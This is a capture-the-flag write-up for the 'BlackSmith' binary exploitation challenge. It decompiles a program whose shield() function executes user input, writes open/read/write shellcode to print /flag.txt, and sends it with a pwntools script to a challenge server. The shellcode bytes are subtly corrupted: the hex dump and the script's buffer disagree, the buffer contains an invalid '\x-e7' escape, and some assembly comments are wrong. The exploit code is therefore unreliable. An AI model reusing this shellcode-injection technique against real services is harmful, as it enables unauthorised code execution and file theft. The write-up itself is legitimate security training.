

BlackSmith

1) checked file security

```
(vigneswar@VigneswarPC) - [~/Reverse/BlackSmith]
$ checksec ./blacksmith
[*] '/home/vigneswar/Reverse/BlackSmith/blacksmith'
Arch:      amd64-64-little
RELRO:     Full RELRO
Stack:     Canary found
NX:        NX unknown - GNU_STACK missing
PIE:       PIE enabled
Stack:     Executable
RWX:       Has RWX segments

(vigneswar@VigneswarPC) - [~/Reverse/BlackSmith]
$ file blacksmith
blacksmith: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=a4acbf7f1d36cdce46b8fe897a8ac56d49236d29, not stripped
```

2) checked basic working

```
(vigneswar@VigneswarPC) - [~/Reverse/BlackSmith]
$ ./blacksmith
Traveler, I need some materials to fuse in order to create something really powerful!
Do you have the materials I need to craft the Ultimate Weapon?
1. Yes, everything is here!
2. No, I did not manage to bring them all!
> 1
What do you want me to craft?
1. ✂
2. ♥
3. 🗡
> 1
This sword can cut through anything! The only thing is, that it is too heavy carry it..
zsh: invalid system call ./blacksmith
```

```
(vigneswar@VigneswarPC) - [~/Reverse/BlackSmith]
$ ./blacksmith
Traveler, I need some materials to fuse in order to create something really powerful!
Do you have the materials I need to craft the Ultimate Weapon?
1. Yes, everything is here!
2. No, I did not manage to bring them all!
> 2
Farewell traveler! Come back when you have all the materials!
```

```

(vigneswar@VigneswarPC)-[~/Reverse/BlackSmith]
$ ./blacksmith
Traveler, I need some materials to fuse in order to create something really powerful!
Do you have the materials I need to craft the Ultimate Weapon?
1. Yes, everything is here!
2. No, I did not manage to bring them all!
> 1
What do you want me to craft?
1. 🗡️
2. 🛡️
3. 🏹
> 2
Excellent choice! This luminous shield is empowered with Sun's light! ☀️
It will protect you from any attack and it can reflect enemies attacks back!
Do you like your new weapon?
> yes
zsh: segmentation fault ./blacksmith

```

```

(vigneswar@VigneswarPC)-[~/Reverse/BlackSmith]
$ ./blacksmith
Traveler, I need some materials to fuse in order to create something really powerful!
Do you have the materials I need to craft the Ultimate Weapon?
1. Yes, everything is here!
2. No, I did not manage to bring them all!
> 1
What do you want me to craft?
1. 🗡️
2. 🛡️
3. 🏹
> 3
This bow's range is the best!
Too bad you do not have enough materials to craft some arrows too..
zsh: invalid system call ./blacksmith

```

3) decompiled the binary

```

2 void main(void)
3
4 {
5     size_t __n;
6     long in_FS_OFFSET;
7     int local_28;
8     int local_24;
9     char *local_20;
10    char *local_18;
11    long local_10;
12
13    local_10 = *(long *)(in_FS_OFFSET + 0x28);
14    setup();
15    local_20 = "You are worthy to carry this Divine Weapon and bring peace to our homeland!\n";
16    local_18 = "This in not a weapon! Do not try to mock me!\n";
17    puts("Traveler, I need some materials to fuse in order to create something really powerful!");
18    printf(
19        "Do you have the materials I need to craft the Ultimate Weapon?\n1. Yes, everything is here!\n2. No, I did not manage to bring them all!\n> "
20    );
21    __isoc99_scanf(&DAT_00101299,&local_28);
22    if (local_28 != 1) {
23        puts("Farewell traveler! Come back when you have all the materials!");
24        /* WARNING: Subroutine does not return */
25        exit(0x22);
26    }
27    printf(&DAT_001012e0);
28    __isoc99_scanf(&DAT_00101299,&local_24);
29    sec();
30    if (local_24 == 2) {
31        shield();
32    }
33    else if (local_24 == 3) {
34        bow();
35    }
36    else {
37        if (local_24 != 1) {
38            __n = strlen(local_18);
39            write(1,local_18,__n);
40            /* WARNING: Subroutine does not return */
41            exit(0x105);
42        }
43        sword();
44    }
45    if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
46        /* WARNING: Subroutine does not return */
47        __stack_chk_fail();
48    }
49    return;
50 }

```

```

2 void shield(void)
3
4 {
5     size_t sVar1;
6     long in_FS_OFFSET;
7     undefined local_58 [72];
8     long local_10;
9
10    local_10 = *(long *)(in_FS_OFFSET + 0x28);
11    sVar1 = strlen(&DAT_00101080);
12    write(1,&DAT_00101080,sVar1);
13    sVar1 = strlen("Do you like your new weapon?\n> ");
14    write(1,"Do you like your new weapon?\n> ",sVar1);
15    read(0,local_58,0x3f);
16    (*(code *)local_58)();
17    if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
18        /* WARNING: Subroutine does not return */
19        __stack_chk_fail();
20    }
21    return;
22 }

```

```

1
2 void sword(void)
3
4 {
5     long lVar1;
6     size_t __n;
7     long in_FS_OFFSET;
8
9     lVar1 = *(long *)(in_FS_OFFSET + 0x28);
10    __n = strlen(
11        "This sword can cut through anything! The only thing is, that it is too heavy carry it
12        ..\n"
13    );
14    write(1,
15        "This sword can cut through anything! The only thing is, that it is too heavy carry it..\n",
16        __n);
17    if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
18        /* WARNING: Subroutine does not return */
19        __stack_chk_fail();
20    }
21    return;
22 }

```

```

1
2 void bow(void)
3
4 {
5     long lVar1;
6     size_t __n;
7     long in_FS_OFFSET;
8
9     lVar1 = *(long *) (in_FS_OFFSET + 0x28);
10    __n = strlen(
11        "This bow\'s range is the best!\nToo bad you do not have enough materials to craft som
        e arrows too..\n"
12    );
13    write(1,
14        "This bow\'s range is the best!\nToo bad you do not have enough materials to craft some arro
        ws too..\n"
15        ,__n);
16    if (lVar1 != *(long *) (in_FS_OFFSET + 0x28)) {
17        /* WARNING: Subroutine does not return */
18        __stack_chk_fail();
19    }
20    return;
21 }
22

```

4) vulnerabilities

```

1
2 void shield(void)
3
4 {
5     size_t sVar1;
6     long in_FS_OFFSET;
7     undefined local_58 [72];
8     long local_10;
9
10    local_10 = *(long *) (in_FS_OFFSET + 0x28);
11    sVar1 = strlen(&DAT_00101080);
12    write(1,&DAT_00101080,sVar1);
13    sVar1 = strlen("Do you like your new weapon?\n> ");
14    write(1,"Do you like your new weapon?\n> ",sVar1);
15    read(0,local_58,0x3f);
16    (*(code *)local_58)();
17    if (local_10 != *(long *) (in_FS_OFFSET + 0x28)) {
18        /* WARNING: Subroutine does not return */
19        __stack_chk_fail();
20    }
21    return;
22 }
23

```

we can execute our function

```

00100dd9 48 8d 55 b0      LEA      RDX=>local_58,[RBP + -0x50]
00100ddd b8 00 00         MOV      EAX,0x0
           00 00
00100de2 ff d2           CALL     RDX

```

5) we can directly print flag from here

CHALLENGE DESCRIPTION

You are the only one who is capable of saving this town and bringing peace upon this land! You found a blacksmith who can create the most powerful weapon in the world! You can find him under the label `"/flag.txt"`.

6) made a payload to print flag

global _start

section .text

_start:

```

push 0          ; push NULL string terminator
mov rdi, 'flag.txt' ; rest of file name
push rdi        ; push to stack

```

```

; open('rsp', 'O_RDONLY')

```

```

mov rax, 2      ; open syscall number
mov rdi, rsp    ; move pointer to filename
mov rsi, 0      ; set O_RDONLY flag
syscall

```

```

; read file

```

```

lea rsi, [rdi] ; pointer to opened file
mov rdi, rax   ; set fd to rax from open syscall
mov rax, 0     ; read syscall number
mov rdx, 24    ; size to read
syscall

```

```

; write output

```

```

mov rax, 1     ; write syscall
mov rdi, 1     ; set fd to stdout
mov rdx, 24    ; size to read
syscall

```

```

(vigneswar@VigneswarPC) - [~/Programming/ASM]
$ python3 test.py
\x6a\x00\x48\xbf\x66\x6c\x61\x67\x2e\x74\x78\x74\x57\xb8\x02\x00\x00\x00\x48\x89\xe7\xbe\x00\x00\x00\x00\x0f\x05\x48\xb8\x37\x48\x89\xc7\xb8\x00\x00\x00\x00\xba\x18\x00\x00\x0f\x05\x01\x00\x00\x00\xbf\x01\x00\x00\x00\xba\x18\x00\x00\x00\x0f\x05
126

```

7) exploited it

from pwn import *

```
io = process(['nc', '188.166.175.58', '30099'])
```

```
buf = b'\x6a\x00\x48\xbf\x66\x6c\x61\x67\x2e\x74\x78\x74\x57\xb8\x02\x00\x00\x00\x48\x89\x-e7\xbe\x00\x00\x00\x00\x0f\x05\x48\x8d\x37\x48\x89\xc7\xb8\x00\x00\x00\x00\xba\x18\x00\x00\x00\x0f\x05\xb8\x01\x00\x00\x00\xbf\x01\x00\x00\x00\xba\x18\x00\x00\x00\x0f\x05'
```

```
io.sendlineafter(b'>', b'1')
```

```
io.sendlineafter(b'>', b'2')
```

```
io.sendlineafter(b'>', buf)
```

```
io.interactive()
```